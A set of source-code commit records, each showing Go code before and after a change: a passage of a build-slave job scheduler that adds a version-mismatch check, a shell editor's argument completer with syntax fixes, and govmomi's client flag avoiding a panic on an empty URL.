			s.DLog(ctx, fmt.Sprintf("Dial error: (%v), %v\n", job.GetJob(), err))
			s.ackChan <- job
		} else {

			client := pbvt.NewVersionTrackerServiceClient(conn)
			_, err = client.NewJob(ctx, &pbvt.NewJobRequest{Version: &pbb.Version{Job: job.GetJob()}})
			if err != nil {
				s.ackChan <- job
			}
			conn.Close()
		}
		cancel()

		// Don't rush the system
		time.Sleep(time.Second * 10)
	}
}

func (s *Server) runTransition(ctx context.Context, job *pb.JobAssignment) {
	s.DLog(ctx, fmt.Sprintf("TRANS: %v\n", job))
	startState := job.State
	job.LastUpdateTime = time.Now().Unix()
	switch job.State {
	case pb.State_WARMUP:
		s.ackChan <- job
		job.State = pb.State_ACKNOWLEDGED
	case pb.State_ACKNOWLEDGED:
		key := s.scheduleBuild(ctx, job)
		job.SubState = fmt.Sprintf("SCHED: %v @ %v", key, time.Now())
		if !job.Job.Bootstrap {
			if key != "" {
				job.State = pb.State_BUILT
				job.RunningVersion = key
			} else {
				// Bootstrap this job since we don't have an initial version
				if job.Job.PartialBootstrap {
					job.Job.Bootstrap = true
				}
			}
		} else {
			job.CommandKey = key
			job.State = pb.State_BUILDING
		}
	case pb.State_BUILDING:
		s.stateMutex.Lock()
		s.stateMap[job.Job.Name] = fmt.Sprintf("BUILD(%v): %v", job.CommandKey, s.scheduler.getState(job.CommandKey))
		s.stateMutex.Unlock()
		s.scheduler.wait(job.CommandKey)
		job.State = pb.State_BUILT
	case pb.State_BUILT:
		job.SubState = "Getting Output"
		output, _ := s.scheduler.getOutput(job.CommandKey)
		job.SubState = "Entering Lock"
		s.stateMutex.Lock()
		s.stateMap[job.Job.Name] = fmt.Sprintf("BUILT(%v): (%v): %v", job.CommandKey, len(output), output)
		s.stateMutex.Unlock()
		if job.Job.Bootstrap && len(output) > 0 {
			if job.BuildFail == 5 {
				job.SubState = "Sending Report"
				s.deliverCrashReport(ctx, job, output)
				job.BuildFail = 0
			}
			job.BuildFail++
			job.State = pb.State_DIED
		} else {
			job.State = pb.State_VERSION_CHECK
			// Don't check version on pb jobs
			if job.GetJob().GetPartialBootstrap() {
				job.BuildFail = 0
				job.SubState = "Scheduling A Run"
				key := s.scheduleRun(job)
				job.CommandKey = key
				job.StartTime = time.Now().Unix()
				job.State = pb.State_PENDING
				if _, ok := s.pendingMap[time.Now().Weekday()]; !ok {
					s.pendingMap[time.Now().Weekday()] = make(map[string]int)
				}
				s.pendingMap[time.Now().Weekday()][job.Job.Name]++
			}
		}
		job.SubState = "Out of case"
	case pb.State_VERSION_CHECK:
		s.loadCurrentVersions()
		version, err := s.getLatestVersion(ctx, job.GetJob().Name, job.GetJob().GetGoPath())
		if err != nil {
			s.Log(fmt.Sprintf("Error getting version: %v", err))
			break
		}

		res, err := exec.Command("md5sum", fmt.Sprintf("/home/simon/gobuild/bin/%v", job.GetJob().GetName())).Output()
		if err != nil {
			s.Log(fmt.Sprintf("Error reading md5sum: %v", err))
		}
		elems := strings.Fields(string(res))
		if elems[0] != s.versions[job.GetJob().GetName()].Version {
			s.RaiseIssue("Bad version found in the wild", fmt.Sprintf("Bad version on %v for %v -> %v vs %v", s.Registry.Identifier, job.GetJob().GetName(), elems[0], s.versions[job.GetJob().GetName()].Version))
		}

		if time.Unix(version.GetVersionDate(), 0).Sub(time.Unix(s.versions[job.GetJob().GetName()].GetVersionDate(), 0)) < time.Hour*24 {
			job.BuildFail = 0
			job.SubState = "Scheduling Run"
			key := s.scheduleRun(job)
			job.CommandKey = key
			job.StartTime = time.Now().Unix()
			job.State = pb.State_PENDING
			if _, ok := s.pendingMap[time.Now().Weekday()]; !ok {
				s.pendingMap[time.Now().Weekday()] = make(map[string]int)
			}
			s.pendingMap[time.Now().Weekday()][job.Job.Name]++
		}

	case pb.State_PENDING:
		if job.Job.PartialBootstrap && job.Job.Bootstrap {
			job.Job.Bootstrap = false
		}
		s.stateMutex.Lock()
		out, _ := s.scheduler.getOutput(job.CommandKey)
		s.stateMap[job.Job.Name] = fmt.Sprintf("OUTPUT = %v", out)
		s.stateMutex.Unlock()
		if time.Now().Add(-time.Minute).Unix() > job.StartTime {
			var err error
			if job.Job.Name == "discovery" {
				err = s.runOnChange()
			}
			code := status.Convert(err).Code()

			//Unavailable allows the job to die here
			if code == codes.OK || code == codes.Unavailable {
				// Validate that the job is alive
				if !s.isJobAlive(ctx, job) {
					s.Log(fmt.Sprintf("Job %v is not alive", job))
				}
				job.State = pb.State_RUNNING
			} else {
				s.Log(fmt.Sprintf("Cannot reregister: %v", err))
			}
		}
	case pb.State_RUNNING:
		output, errout := s.scheduler.getOutput(job.CommandKey)
		output2, _ := s.scheduler.getErrOutput(job.CommandKey)
		s.stateMutex.Lock()
		s.stateMap[job.Job.Name] = fmt.Sprintf("ROUTPUT = %v, %v", output, s.scheduler.getStatus(job.CommandKey))
		job.Status = s.scheduler.getStatus(job.CommandKey)
		s.stateMutex.Unlock()
		if len(job.CommandKey) > 0 {
			s.scheduler.wait(job.CommandKey)
			s.stateMap[job.Job.Name] = fmt.Sprintf("ONLOCk = (%v, %v)", job, output)
			s.stateMutex.Lock()
			s.stateMap[job.Job.Name] = fmt.Sprintf("COMPLETE = (%v, %v)", job, output)
			s.stateMutex.Unlock()
			s.deliverCrashReport(ctx, job, fmt.Sprintf("%v%v", output, output2))
			job.State = pb.State_DIED
		}

		if s.Registry != nil {
			entry, err := s.FFindSpecificServer(ctx, job.Job.Name, s.Registry.Identifier)
			if err != nil {
				if job.DiscoverCount > 30 {
					output2, errout2 := s.scheduler.getErrOutput(job.CommandKey)
					s.RaiseIssue("Cannot Discover Running Server", fmt.Sprintf("%v on %v is not discoverable, despite running (%v) the output says %v (%v), %v, %v", job.Job.Name, s.Registry.Identifier, err, output, errout, output2, errout2))
				}
				job.DiscoverCount++
				s.Log(fmt.Sprintf("Missing discover for %+v, %v -> %v", job, entry, err))
			} else {
				job.Port = entry.GetPort()
				job.DiscoverCount = 0
			}
		}

		// Restart this job if we need to
		if !job.Job.Bootstrap {
			if time.Now().Sub(time.Unix(job.LastVersionPull, 0)) > time.Minute*5 {
				version, err := s.getVersion(ctx, job.Job)
				job.LastVersionPull = time.Now().Unix()

				if err == nil && version.Version != job.RunningVersion {
					s.stateMutex.Lock()
					s.stateMap[job.Job.Name] = fmt.Sprintf("VERSION_MISMATCH = %v,%v", version, job.RunningVersion)
					s.stateMutex.Unlock()
					s.scheduler.killJob(job.CommandKey)
				}
			}
		}
	case pb.State_BRINK_OF_DEATH:
		if s.version.confirm(ctx, job.Job.Name) {
			s.scheduler.killJob(job.CommandKey)
			job.State = pb.State_ACKNOWLEDGED
		}
	case pb.State_DIED:
		s.stateMutex.Lock()
		s.stateMap[job.Job.Name] = fmt.Sprintf("DIED %v", job.CommandKey)
		s.stateMutex.Unlock()
		job.State = pb.State_ACKNOWLEDGED
	}

	if job.State != startState {
		job.LastTransitionTime = time.Now().Unix()
	}
}

type translator interface {
	build(job *pb.Job) *exec.Cmd
	run(job *pb.Job) *exec.Cmd
}

type checker interface {
	isAlive(ctx context.Context, job *pb.JobAssignment) bool
}

func (s *Server) getVersion(ctx context.Context, job *pb.Job) (*pbb.Version, error) {
	version, err := s.builder.build(ctx, job)
	if err != nil {
		return &pbb.Version{}, err
	}

	return version, nil
}

func updateJob(err error, job *pb.JobAssignment, resp *pbfc.CopyResponse) {
	if err == nil {
		job.QueuePos = resp.IndexInQueue
	}

}

// scheduleBuild builds out the job, returning the current version
func (s *Server) scheduleBuild(ctx context.Context, job *pb.JobAssignment) string {
	if job.Job.Bootstrap {
		c := s.translator.build(job.Job)
		// Block builds to prevent clashes
		return s.scheduler.Schedule(&rCommand{command: c, base: job.Job.Name, block: true})
	}

	val, err := s.builder.build(ctx, job.Job)
	if err != nil {
		s.DLog(ctx, fmt.Sprintf("BUILD Error: %v\n", err))
		return ""
	}
	return val.Version
}

func (s *Server) scheduleRun(job *pb.JobAssignment) string {
	//Copy over any existing new versions
	key := s.scheduler.Schedule(&rCommand{command: exec.Command("mv", "$GOPATH/bin/"+job.GetJob().GetName()+".new", "$GOPATH/bin/"+job.GetJob().GetName()), base: job.GetJob().GetName()})
	s.scheduler.wait(key)

	// Wait a while before starting the job JIC
	time.Sleep(time.Second * 10)
	c := s.translator.run(job.GetJob())
	return s.scheduler.Schedule(&rCommand{command: c, base: job.GetJob().GetName()})
}
<commit_msg>Don't startup with a bad version. This closes #1547<commit_after>package main

import (
	"context"
	"fmt"
	"os/exec"
	"strings"
	"time"

	"github.com/brotherlogic/goserver/utils"
	"github.com/prometheus/client_golang/prometheus"
	"github.com/prometheus/client_golang/prometheus/promauto"
	"google.golang.org/grpc/codes"
	"google.golang.org/grpc/status"

	pbb "github.com/brotherlogic/buildserver/proto"
	pbfc "github.com/brotherlogic/filecopier/proto"
	pb "github.com/brotherlogic/gobuildslave/proto"
	pbvt "github.com/brotherlogic/versiontracker/proto"
)

const (
	pendWait = time.Minute
)

var (
	ackQueueLen = promauto.NewGauge(prometheus.GaugeOpts{
		Name: "gobuildslave_ackqueuelen",
		Help: "The size of the ack queue",
	})
)

func (s *Server) procAcks() {
	for job := range s.ackChan {
		ackQueueLen.Set(float64(len(s.ackChan)))
		ctx, cancel := utils.ManualContext("gobuildslaveack", time.Minute)
		conn, err := s.FDialSpecificServer(ctx, "versiontracker", s.Registry.GetIdentifier())
		if err != nil {
			s.DLog(ctx, fmt.Sprintf("Dial error: (%v), %v\n", job.GetJob(), err))
			s.ackChan <- job
		} else {

			client := pbvt.NewVersionTrackerServiceClient(conn)
			_, err = client.NewJob(ctx, &pbvt.NewJobRequest{Version: &pbb.Version{Job: job.GetJob()}})
			if err != nil {
				s.ackChan <- job
			}
			conn.Close()
		}
		cancel()

		// Don't rush the system
		time.Sleep(time.Second * 10)
	}
}

func (s *Server) runTransition(ctx context.Context, job *pb.JobAssignment) {
	s.DLog(ctx, fmt.Sprintf("TRANS: %v\n", job))
	startState := job.State
	job.LastUpdateTime = time.Now().Unix()
	switch job.State {
	case pb.State_WARMUP:
		s.ackChan <- job
		job.State = pb.State_ACKNOWLEDGED
	case pb.State_ACKNOWLEDGED:
		key := s.scheduleBuild(ctx, job)
		job.SubState = fmt.Sprintf("SCHED: %v @ %v", key, time.Now())
		if !job.Job.Bootstrap {
			if key != "" {
				job.State = pb.State_BUILT
				job.RunningVersion = key
			} else {
				// Bootstrap this job since we don't have an initial version
				if job.Job.PartialBootstrap {
					job.Job.Bootstrap = true
				}
			}
		} else {
			job.CommandKey = key
			job.State = pb.State_BUILDING
		}
	case pb.State_BUILDING:
		s.stateMutex.Lock()
		s.stateMap[job.Job.Name] = fmt.Sprintf("BUILD(%v): %v", job.CommandKey, s.scheduler.getState(job.CommandKey))
		s.stateMutex.Unlock()
		s.scheduler.wait(job.CommandKey)
		job.State = pb.State_BUILT
	case pb.State_BUILT:
		job.SubState = "Getting Output"
		output, _ := s.scheduler.getOutput(job.CommandKey)
		job.SubState = "Entering Lock"
		s.stateMutex.Lock()
		s.stateMap[job.Job.Name] = fmt.Sprintf("BUILT(%v): (%v): %v", job.CommandKey, len(output), output)
		s.stateMutex.Unlock()
		if job.Job.Bootstrap && len(output) > 0 {
			if job.BuildFail == 5 {
				job.SubState = "Sending Report"
				s.deliverCrashReport(ctx, job, output)
				job.BuildFail = 0
			}
			job.BuildFail++
			job.State = pb.State_DIED
		} else {
			job.State = pb.State_VERSION_CHECK
			// Don't check version on pb jobs
			if job.GetJob().GetPartialBootstrap() {
				job.BuildFail = 0
				job.SubState = "Scheduling A Run"
				key := s.scheduleRun(job)
				job.CommandKey = key
				job.StartTime = time.Now().Unix()
				job.State = pb.State_PENDING
				if _, ok := s.pendingMap[time.Now().Weekday()]; !ok {
					s.pendingMap[time.Now().Weekday()] = make(map[string]int)
				}
				s.pendingMap[time.Now().Weekday()][job.Job.Name]++
			}
		}
		job.SubState = "Out of case"
	case pb.State_VERSION_CHECK:
		s.loadCurrentVersions()
		version, err := s.getLatestVersion(ctx, job.GetJob().Name, job.GetJob().GetGoPath())
		if err != nil {
			s.Log(fmt.Sprintf("Error getting version: %v", err))
			break
		}

		res, err := exec.Command("md5sum", fmt.Sprintf("/home/simon/gobuild/bin/%v", job.GetJob().GetName())).Output()
		if err != nil {
			s.Log(fmt.Sprintf("Error reading md5sum: %v", err))
		}
		elems := strings.Fields(string(res))
		if elems[0] != s.versions[job.GetJob().GetName()].Version {
			s.Log(fmt.Sprintf("Bad version found in the wild", fmt.Sprintf("Bad version on %v for %v -> %v vs %v", s.Registry.Identifier, job.GetJob().GetName(), elems[0], s.versions[job.GetJob().GetName()].Version)))
			job.SubState = "Dealing With Version Mismatch"
			break
		}

		if time.Unix(version.GetVersionDate(), 0).Sub(time.Unix(s.versions[job.GetJob().GetName()].GetVersionDate(), 0)) < time.Hour*24 {
			job.BuildFail = 0
			job.SubState = "Scheduling Run"
			key := s.scheduleRun(job)
			job.CommandKey = key
			job.StartTime = time.Now().Unix()
			job.State = pb.State_PENDING
			if _, ok := s.pendingMap[time.Now().Weekday()]; !ok {
				s.pendingMap[time.Now().Weekday()] = make(map[string]int)
			}
			s.pendingMap[time.Now().Weekday()][job.Job.Name]++
		}

	case pb.State_PENDING:
		if job.Job.PartialBootstrap && job.Job.Bootstrap {
			job.Job.Bootstrap = false
		}
		s.stateMutex.Lock()
		out, _ := s.scheduler.getOutput(job.CommandKey)
		s.stateMap[job.Job.Name] = fmt.Sprintf("OUTPUT = %v", out)
		s.stateMutex.Unlock()
		if time.Now().Add(-time.Minute).Unix() > job.StartTime {
			var err error
			if job.Job.Name == "discovery" {
				err = s.runOnChange()
			}
			code := status.Convert(err).Code()

			//Unavailable allows the job to die here
			if code == codes.OK || code == codes.Unavailable {
				// Validate that the job is alive
				if !s.isJobAlive(ctx, job) {
					s.Log(fmt.Sprintf("Job %v is not alive", job))
				}
				job.State = pb.State_RUNNING
			} else {
				s.Log(fmt.Sprintf("Cannot reregister: %v", err))
			}
		}
	case pb.State_RUNNING:
		output, errout := s.scheduler.getOutput(job.CommandKey)
		output2, _ := s.scheduler.getErrOutput(job.CommandKey)
		s.stateMutex.Lock()
		s.stateMap[job.Job.Name] = fmt.Sprintf("ROUTPUT = %v, %v", output, s.scheduler.getStatus(job.CommandKey))
		job.Status = s.scheduler.getStatus(job.CommandKey)
		s.stateMutex.Unlock()
		if len(job.CommandKey) > 0 {
			s.scheduler.wait(job.CommandKey)
			s.stateMap[job.Job.Name] = fmt.Sprintf("ONLOCk = (%v, %v)", job, output)
			s.stateMutex.Lock()
			s.stateMap[job.Job.Name] = fmt.Sprintf("COMPLETE = (%v, %v)", job, output)
			s.stateMutex.Unlock()
			s.deliverCrashReport(ctx, job, fmt.Sprintf("%v%v", output, output2))
			job.State = pb.State_DIED
		}

		if s.Registry != nil {
			entry, err := s.FFindSpecificServer(ctx, job.Job.Name, s.Registry.Identifier)
			if err != nil {
				if job.DiscoverCount > 30 {
					output2, errout2 := s.scheduler.getErrOutput(job.CommandKey)
					s.RaiseIssue("Cannot Discover Running Server", fmt.Sprintf("%v on %v is not discoverable, despite running (%v) the output says %v (%v), %v, %v", job.Job.Name, s.Registry.Identifier, err, output, errout, output2, errout2))
				}
				job.DiscoverCount++
				s.Log(fmt.Sprintf("Missing discover for %+v, %v -> %v", job, entry, err))
			} else {
				job.Port = entry.GetPort()
				job.DiscoverCount = 0
			}
		}

		// Restart this job if we need to
		if !job.Job.Bootstrap {
			if time.Now().Sub(time.Unix(job.LastVersionPull, 0)) > time.Minute*5 {
				version, err := s.getVersion(ctx, job.Job)
				job.LastVersionPull = time.Now().Unix()

				if err == nil && version.Version != job.RunningVersion {
					s.stateMutex.Lock()
					s.stateMap[job.Job.Name] = fmt.Sprintf("VERSION_MISMATCH = %v,%v", version, job.RunningVersion)
					s.stateMutex.Unlock()
					s.scheduler.killJob(job.CommandKey)
				}
			}
		}
	case pb.State_BRINK_OF_DEATH:
		if s.version.confirm(ctx, job.Job.Name) {
			s.scheduler.killJob(job.CommandKey)
			job.State = pb.State_ACKNOWLEDGED
		}
	case pb.State_DIED:
		s.stateMutex.Lock()
		s.stateMap[job.Job.Name] = fmt.Sprintf("DIED %v", job.CommandKey)
		s.stateMutex.Unlock()
		job.State = pb.State_ACKNOWLEDGED
	}

	if job.State != startState {
		job.LastTransitionTime = time.Now().Unix()
	}
}

type translator interface {
	build(job *pb.Job) *exec.Cmd
	run(job *pb.Job) *exec.Cmd
}

type checker interface {
	isAlive(ctx context.Context, job *pb.JobAssignment) bool
}

func (s *Server) getVersion(ctx context.Context, job *pb.Job) (*pbb.Version, error) {
	version, err := s.builder.build(ctx, job)
	if err != nil {
		return &pbb.Version{}, err
	}

	return version, nil
}

func updateJob(err error, job *pb.JobAssignment, resp *pbfc.CopyResponse) {
	if err == nil {
		job.QueuePos = resp.IndexInQueue
	}

}

// scheduleBuild builds out the job, returning the current version
func (s *Server) scheduleBuild(ctx context.Context, job *pb.JobAssignment) string {
	if job.Job.Bootstrap {
		c := s.translator.build(job.Job)
		// Block builds to prevent clashes
		return s.scheduler.Schedule(&rCommand{command: c, base: job.Job.Name, block: true})
	}

	val, err := s.builder.build(ctx, job.Job)
	if err != nil {
		s.DLog(ctx, fmt.Sprintf("BUILD Error: %v\n", err))
		return ""
	}
	return val.Version
}

func (s *Server) scheduleRun(job *pb.JobAssignment) string {
	//Copy over any existing new versions
	key := s.scheduler.Schedule(&rCommand{command: exec.Command("mv", "$GOPATH/bin/"+job.GetJob().GetName()+".new", "$GOPATH/bin/"+job.GetJob().GetName()), base: job.GetJob().GetName()})
	s.scheduler.wait(key)

	// Wait a while before starting the job JIC
	time.Sleep(time.Second * 10)
	c := s.translator.run(job.GetJob())
	return s.scheduler.Schedule(&rCommand{command: c, base: job.GetJob().GetName()})
}
<|endoftext|>


<commit_before>package edit

// ArgCompleter is an argument completer. Its Complete method is called with
// the head of the form, a list of preceding arguments and the (possibly empty)
// current argument. It should return a list of candidates for the current
// argument and errors.
type ArgCompleter interface {
	Complete(*ArgContext) ([]*candidate, error)
}

type ArgContext struct {
	head    string
	args    []string
	current string
	ed      *Editor
}

type FuncArgCompleter struct {
	impl func(*ArgContext) ([]*candidate, error)
}

func (fac FuncArgCompleter) Complete(ctx *ArgContext) ([]*candidate, error) {
	return fac.impl(ctx)
}

// CompleterTable provides $le:completer. It implements eval.IndexSetter.
type CompleterTable map[string]ArgCompleter

func (ct) Kind() string {
	return "map"
}

func (ct CompleterTable) Repr(indent int) string {
}

var DefaultArgCompleter = ""
var argCompleter map[string]ArgCompleter

func init() {
	argCompleter = map[string]ArgCompleter{
		DefaultArgCompleter: FuncArgCompleter{complFilename},
		"sudo":              FuncArgCompleter{complSudo},
	}
}

func completeArg(ctx *ArgContext) ([]*candidate, error) {
	Logger.Printf("completing argument: %q %q %q", ctx.head, ctx.args, ctx.current)
	compl, ok := argCompleter[ctx.head]
	if !ok {
		compl = argCompleter[DefaultArgCompleter]
	}
	return compl.Complete(ctx)
}

func complFilename(ctx *ArgContext) ([]*candidate, error) {
	return complFilenameInner(ctx.current, false)
}

func complSudo(ctx *ArgContext) ([]*candidate, error) {
	if len(ctx.args) == 0 {
		return complFormHeadInner(ctx.current, ctx.ed)
	}
	return completeArg(&ArgContext{ctx.args[0], ctx.args[1:], ctx.current, ctx.ed})
}
<commit_msg>Fix...<commit_after>package edit

// ArgCompleter is an argument completer. Its Complete method is called with
// the head of the form, a list of preceding arguments and the (possibly empty)
// current argument. It should return a list of candidates for the current
// argument and errors.
type ArgCompleter interface {
	Complete(*ArgContext) ([]*candidate, error)
}

type ArgContext struct {
	head    string
	args    []string
	current string
	ed      *Editor
}

type FuncArgCompleter struct {
	impl func(*ArgContext) ([]*candidate, error)
}

func (fac FuncArgCompleter) Complete(ctx *ArgContext) ([]*candidate, error) {
	return fac.impl(ctx)
}

// CompleterTable provides $le:completer. It implements eval.IndexSetter.
type CompleterTable map[string]ArgCompleter

func (CompleterTable) Kind() string {
	return "map"
}

func (ct CompleterTable) Repr(indent int) string {
	return ""
}

var DefaultArgCompleter = ""
var argCompleter map[string]ArgCompleter

func init() {
	argCompleter = map[string]ArgCompleter{
		DefaultArgCompleter: FuncArgCompleter{complFilename},
		"sudo":              FuncArgCompleter{complSudo},
	}
}

func completeArg(ctx *ArgContext) ([]*candidate, error) {
	Logger.Printf("completing argument: %q %q %q", ctx.head, ctx.args, ctx.current)
	compl, ok := argCompleter[ctx.head]
	if !ok {
		compl = argCompleter[DefaultArgCompleter]
	}
	return compl.Complete(ctx)
}

func complFilename(ctx *ArgContext) ([]*candidate, error) {
	return complFilenameInner(ctx.current, false)
}

func complSudo(ctx *ArgContext) ([]*candidate, error) {
	if len(ctx.args) == 0 {
		return complFormHeadInner(ctx.current, ctx.ed)
	}
	return completeArg(&ArgContext{ctx.args[0], ctx.args[1:], ctx.current, ctx.ed})
}
<|endoftext|>


<commit_before>/*
Copyright (c) 2014 VMware, Inc. All Rights Reserved.

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package flags

import (
	"encoding/json"
	"errors"
	"flag"
	"fmt"
	"net/url"
	"os"
	"path"
	"sync"

	"github.com/vmware/govmomi"
	"github.com/vmware/govmomi/vim25/mo"
)

const cDescr = "ESX or vCenter URL"

type ClientFlag struct {
	*DebugFlag

	register sync.Once
	url      *url.URL
	client   *govmomi.Client
}

func (c *ClientFlag) String() string {
	if c.url != nil {
		withoutCredentials := *c.url
		withoutCredentials.User = nil
		return withoutCredentials.String()
	}
	return ""
}

func (c *ClientFlag) Set(s string) error {
	var err error

	c.url, err = url.Parse(s)
	if err != nil {
		return err
	}

	return nil
}

func (c *ClientFlag) Register(f *flag.FlagSet) {
	c.register.Do(func() {
		c.Set(os.Getenv("GOVMOMI_URL"))
		f.Var(c, "u", cDescr)
	})
}

func (c *ClientFlag) Process() error {
	if c.url == nil {
		return errors.New("specify an " + cDescr)
	}

	return nil
}

func (c *ClientFlag) sessionFile() string {
	file := fmt.Sprintf("%s@%s", c.url.User.Username(), c.url.Host)
	return path.Join(os.Getenv("HOME"), ".govmomi", "sessions", file)
}

func (c *ClientFlag) loadClient() (*govmomi.Client, error) {
	var client govmomi.Client

	f, err := os.Open(c.sessionFile())
	if err != nil {
		if os.IsNotExist(err) {
			return nil, nil
		}

		return nil, err
	}

	defer f.Close()

	dec := json.NewDecoder(f)
	err = dec.Decode(&client)
	if err != nil {
		return nil, err
	}

	return &client, nil
}

func (c *ClientFlag) newClient() (*govmomi.Client, error) {
	client, err := govmomi.NewClient(*c.url)
	if err != nil {
		return nil, err
	}

	p := c.sessionFile()
	err = os.MkdirAll(path.Dir(p), 0700)
	if err != nil {
		return nil, err
	}

	f, err := os.Create(p)
	if err != nil {
		return nil, err
	}

	defer f.Close()

	enc := json.NewEncoder(f)
	err = enc.Encode(client)
	if err != nil {
		return nil, err
	}

	return client, nil
}

// currentSessionValid returns whether or not the current session is valid. It
// is valid if the "currentSession" field of the SessionManager managed object
// can be retrieved. It is not valid it cannot be retrieved, but no error
// occurs. An error is returned otherwise.
func currentSessionValid(c *govmomi.Client) (bool, error) {
	var sm mo.SessionManager

	err := c.Properties(*c.ServiceContent.SessionManager, []string{"currentSession"}, &sm)
	if err != nil {
		return false, err
	}

	if sm.CurrentSession == nil {
		return false, nil
	}

	return true, nil
}

func (c *ClientFlag) Client() (*govmomi.Client, error) {
	if c.client != nil {
		return c.client, nil
	}

	var ok = false

	client, err := c.loadClient()
	if err != nil {
		return nil, err
	}

	if client != nil {
		ok, err = currentSessionValid(client)
		if err != nil {
			return nil, err
		}
	}

	if !ok {
		client, err = c.newClient()
		if err != nil {
			return nil, err
		}
	}

	c.client = client
	return c.client, nil
}
<commit_msg>Avoid panic if ClientFlag url is not set<commit_after>/*
Copyright (c) 2014 VMware, Inc. All Rights Reserved.

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package flags

import (
	"encoding/json"
	"errors"
	"flag"
	"fmt"
	"net/url"
	"os"
	"path"
	"sync"

	"github.com/vmware/govmomi"
	"github.com/vmware/govmomi/vim25/mo"
)

const cDescr = "ESX or vCenter URL"

type ClientFlag struct {
	*DebugFlag

	register sync.Once
	url      *url.URL
	client   *govmomi.Client
}

func (c *ClientFlag) String() string {
	if c.url != nil {
		withoutCredentials := *c.url
		withoutCredentials.User = nil
		return withoutCredentials.String()
	}
	return ""
}

func (c *ClientFlag) Set(s string) error {
	var err error

	if s != "" {
		c.url, err = url.Parse(s)
		if err != nil {
			return err
		}
	}

	return nil
}

func (c *ClientFlag) Register(f *flag.FlagSet) {
	c.register.Do(func() {
		c.Set(os.Getenv("GOVMOMI_URL"))
		f.Var(c, "u", cDescr)
	})
}

func (c *ClientFlag) Process() error {
	if c.url == nil {
		return errors.New("specify an " + cDescr)
	}

	return nil
}

func (c *ClientFlag) sessionFile() string {
	file := fmt.Sprintf("%s@%s", c.url.User.Username(), c.url.Host)
	return path.Join(os.Getenv("HOME"), ".govmomi", "sessions", file)
}

func (c *ClientFlag) loadClient() (*govmomi.Client, error) {
	var client govmomi.Client

	f, err := os.Open(c.sessionFile())
	if err != nil {
		if os.IsNotExist(err) {
			return nil, nil
		}

		return nil, err
	}

	defer f.Close()

	dec := json.NewDecoder(f)
	err = dec.Decode(&client)
	if err != nil {
		return nil, err
	}

	return &client, nil
}

func (c *ClientFlag) newClient() (*govmomi.Client, error) {
	client, err := govmomi.NewClient(*c.url)
	if err != nil {
		return nil, err
	}

	p := c.sessionFile()
	err = os.MkdirAll(path.Dir(p), 0700)
	if err != nil {
		return nil, err
	}

	f, err := os.Create(p)
	if err != nil {
		return nil, err
	}

	defer f.Close()

	enc := json.NewEncoder(f)
	err = enc.Encode(client)
	if err != nil {
		return nil, err
	}

	return client, nil
}

// currentSessionValid returns whether or not the current session is valid. It
// is valid if the "currentSession" field of the SessionManager managed object
// can be retrieved. It is not valid it cannot be retrieved, but no error
// occurs. An error is returned otherwise.
func currentSessionValid(c *govmomi.Client) (bool, error) {
	var sm mo.SessionManager

	err := c.Properties(*c.ServiceContent.SessionManager, []string{"currentSession"}, &sm)
	if err != nil {
		return false, err
	}

	if sm.CurrentSession == nil {
		return false, nil
	}

	return true, nil
}

func (c *ClientFlag) Client() (*govmomi.Client, error) {
	if c.client != nil {
		return c.client, nil
	}

	var ok = false

	client, err := c.loadClient()
	if err != nil {
		return nil, err
	}

	if client != nil {
		ok, err = currentSessionValid(client)
		if err != nil {
			return nil, err
		}
	}

	if !ok {
		client, err = c.newClient()
		if err != nil {
			return nil, err
		}
	}

	c.client = client
	return c.client, nil
}
<|endoftext|>